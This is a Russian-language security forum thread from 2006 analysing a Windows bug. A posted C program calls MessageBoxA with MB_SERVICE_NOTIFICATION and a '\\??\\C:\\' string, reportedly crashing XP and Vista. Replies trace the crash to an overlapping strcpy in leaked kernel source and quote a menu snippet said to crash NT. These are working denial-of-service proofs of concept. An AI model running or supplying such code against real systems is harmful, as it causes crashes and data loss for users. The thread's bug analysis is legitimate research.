| 
 
 
 
 Легенда:
  новое сообщение 
  закрытая нитка 
  новое сообщение 
  в закрытой нитке 
  старое сообщение   | 
Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
Новичкам также крайне полезно ознакомиться с данным документом.
|  |  |  |  |  | А, понял.  19.12.06 23:22  Число просмотров: 4512 Автор: ыыы Статус: Незарегистрированный пользователь
 |  
| > чисто ликбез: _strnicmp возвращает 0 при равенстве строк 
 Действительно.  Получается, что вылетает  strcpy( asLocal.Buffer, asLocal.Buffer+4);
 
 а исходного кода strcpy у вас случайно нет?  :)
 
 Интересно же, как ее надо было оптимизировать, чтобы она вылетела.
 |  | <operating systems> |  
| Убиение винды :(  19.12.06 15:19 Автор: Killer{R} <Dmitry> Статус: Elderman
 Отредактировано 19.12.06 15:22  Количество правок: 1
 |  
| #include <Windows.h> 
 int APIENTRY WinMain(HINSTANCE hInstance,
 HINSTANCE hPrevInstance,
 LPSTR     lpCmdLine,
 int       nCmdShow)
 {
 char bug [] = "\\??\\C:\\";
 for(int i = 0; i < 10; i ++)::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
 return 0;
 }
 
 (c) http://security.nnov.ru/Gnews944.html
 XP, XPx64,, Vista - BSOD после N'ного мессагбокса или просто глюки. Работает хоть из под гостя. Иногда правда не с первого раз.
 Самое забавное что мессагбокс показывает совершенно другой текст. Причем по китайски :)
 |  
|  | во дают =)))  20.12.06 10:27 Автор: noonv <Vladimir> Статус: Member
 |  
|  |  
|  | О, сколько нам открытий чудных, хранят в себе ещё исходники венды... -))  20.12.06 05:52 Автор: HandleX <Александр М.> Статус: The Elderman
 |  
|  |  
|  | Прикольно :) Мабуть китайские братья постарались.  19.12.06 20:25 Автор: Fighter <Vladimir> Статус: Elderman
 |  
|  |  
|  | Работает :-)  19.12.06 19:37 Автор: amirul <Serge> Статус: The Elderman
 |  
|  |  
|  |  | [расковырял] надо будет поковырять будет под дебагом  19.12.06 21:45 Автор: Killer{R} <Dmitry> Статус: Elderman
 Отредактировано 19.12.06 23:36  Количество правок: 5
 |  
| Но чтото мне подсказывает что это был какой то быстрокривохак для замены пути NT-style выводимого MessageBox'м каким то сервисом на win32, причем в коде win32k.sys, а сам сервис ковырять никто не хотел почемуто :) 
 [РАСКОВЫРЯЛ жуя апельсину] обошелся сырцами винды :)
 Функция GetHardErrorText
 Первое что поразило - длина функции почти 700 строк Сшного кода :))
 Коммент:
 * This function figures out the message box title, text and flags.
 * We want to do this up front so we can log this error when the hard error is
 *  raised. Previously we used to log it after the user had dismissed the message
 *  box -- but that was not when the error occurred (DCR Bug 107590)
 Функция занимается тем что находит в тексте месаг бокса строчки типа "{EXCEPTION}" и если таковые есть - чтото еще оттуда выдирает и пишет в системный лог. Прямо из MessageBox'а! Воистину мега-криво-хак :)
 
 } else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
 strcpy( asLocal.Buffer, asLocal.Buffer+4 );// когда strcpy не было сильно заоптимизированным это наверно работало :))))
 asLocal.Length -= 4;
 
 А у MB_SERVICE_NOTIFICATION ноги растут потому что  дебрях винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через NtRaiseHardError :))
 
 Помнится NT убивал нижеследующий код. Вот что называется перенесли кривоподелие user32 в ядро...
 HMENU hMenu = CreatePopupMenu();
 HMENU hMenu1 = CreatePopupMenu();
 AppendMenu(hMenu1,MF_STRING, 1, "1");
 AppendMenu(hMenu1,MF_STRING, 2, "2");
 AppendMenu(hMenu1,MF_STRING, 3, "3");
 InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
 InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
 InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
 InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
 InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
 InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
 |  
|  |  |  | Самое интересное не рассказали!  19.12.06 22:56 Автор: ыыы Статус: Незарегистрированный пользователь
 |  
| Вы же самое интересное не рассказали. 
 
 > 	    } else if ((asLocal.Length > 4) &&
 > !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
 > 		strcpy( asLocal.Buffer, asLocal.Buffer+4);
 > 		asLocal.Length -= 4;
 
 Этот код после if выполняется, если вопросительных знаков нет, и длина больше четырех -- то есть в обычном случае.  Значит, к выпадению он отношения не имеет. А что же там после else? Падать должно там.
 
 >
 > А у MB_SERVICE_NOTIFICATION ноги растут потому что  дебрях
 > винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через
 > NtRaiseHardError :))
 >
 > Помнится NT убивал нижеследующий код. Вот что называется
 > перенесли кривоподелие user32 в ядро...
 >   HMENU hMenu = CreatePopupMenu();
 >   HMENU hMenu1 = CreatePopupMenu();
 >   AppendMenu(hMenu1,MF_STRING, 1, "1");
 >   AppendMenu(hMenu1,MF_STRING, 2, "2");
 >   AppendMenu(hMenu1,MF_STRING, 3, "3");
 >   InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
 >   InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
 >   InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
 >   InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
 >   InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
 >   InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
 |  
|  |  |  |  | [UPD] Все рассказали :)  19.12.06 23:06 Автор: Killer{R} <Dmitry> Статус: Elderman
 Отредактировано 19.12.06 23:20  Количество правок: 1
 |  
| чисто ликбез: _strnicmp возвращает 0 при равенстве строк Просто по документации strcpy: The behavior of strcpy is undefined if the source and destination strings overlap.
 |  
|  |  |  |  |  | А, понял.  19.12.06 23:22 Автор: ыыы Статус: Незарегистрированный пользователь
 |  
| > чисто ликбез: _strnicmp возвращает 0 при равенстве строк 
 Действительно.  Получается, что вылетает  strcpy( asLocal.Buffer, asLocal.Buffer+4);
 
 а исходного кода strcpy у вас случайно нет?  :)
 
 Интересно же, как ее надо было оптимизировать, чтобы она вылетела.
 |  
|  |  |  |  |  |  | исходники strcpy можно посмотреть в вижаке.  20.12.06 14:08 Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
 |  
|  |  
|  | весело )  19.12.06 15:52 Автор: !mm <Ivan Ch.> Статус: Elderman
 |  
|  |  
 
 
 |  |